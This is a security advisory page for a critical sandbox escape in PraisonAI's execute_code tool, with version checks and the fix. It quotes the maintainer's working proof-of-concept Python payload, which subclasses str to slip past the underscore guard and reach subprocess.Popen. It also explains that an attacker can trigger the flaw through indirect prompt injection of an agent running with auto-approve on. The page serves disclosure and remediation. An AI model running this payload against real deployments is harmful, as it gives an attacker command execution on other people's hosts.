---
id: "CVE-2026-34938"
page: "https://infrastack.ai/live/CVE-2026-34938"
kind: "vulnerability"
aliases: ["CVE-2026-34938", "GHSA-6vh2-h83c-9294"]
title: "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code"
severity: "critical"
cvss: 10.0
epss: 0.13398
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "praisonaiagents", "fixed": ["1.5.90"], "affected": "<= 1.5.89", "ecosystem": "pypi"}, {"name": "praison praisonaiagents", "fixed": ["1.5.90"], "affected": "< 1.5.90", "ecosystem": "vendor"}, {"via": "cpe", "name": "praisonaiagents", "fixed": ["1.5.90"], "affected": "< 1.5.90", "ecosystem": "pypi"}]
ecosystems: ["pypi", "vendor"]
tags: ["ai-agents", "ai-tooling", "cwe-693", "praisonai", "pypi", "python"]
not_affected_if: ["execute-code-unused", "version-1.5.90-or-later"]
published_at: "2026-04-01T23:17:48+00:00"
first_seen_at: "2026-11-16T16:03:23+00:00"
updated_at: "2026-11-16T16:08:50+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6vh2-h83c-9294", "first_seen_at": "2026-11-16T16:03:23+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34938", "first_seen_at": "2026-11-16T16:08:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.13398, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34938"}]
---

# PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Link for people: https://infrastack.ai/live/CVE-2026-34938 (this .md is for agents)

PraisonAI's execute_code tool runs Python in a sandbox that can be bypassed with a crafted str subclass that overrides startswith(), reaching subprocess.Popen. An attacker who can supply code to the tool, including through indirect prompt injection, gets arbitrary OS command execution as the process user.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:praisonaiagents affected <= 1.5.89 fixed 1.5.90
- vendor:praison praisonaiagents affected < 1.5.90 fixed 1.5.90
- pypi:praisonaiagents affected < 1.5.90 fixed 1.5.90

## How to check

- Check the installed version of `praisonaiagents` with `pip show praisonaiagents`; affected versions are `1.5.89` and below.
- Look for uses of `execute_code` from `praisonaiagents.tools.python_tools` in your code or agent pipelines.
- Check whether `PRAISONAI_AUTO_APPROVE` is set to `true`, which the advisory says is the default for `bot.py`, `autonomy_mode.py` and `bots_cli.py`.

## Fix

- `praisonaiagents` (pypi): move to `1.5.90` or later.

## Timeline

- 2026-11-16T16:03:23+00:00 ghsa https://github.com/advisories/GHSA-6vh2-h83c-9294
- 2026-11-16T16:08:50+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-34938

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-6vh2-h83c-9294
- [advisory] Maintainer's advisory: github.com https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294

## From the sources

### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)
```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```

### PoC
```python

from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
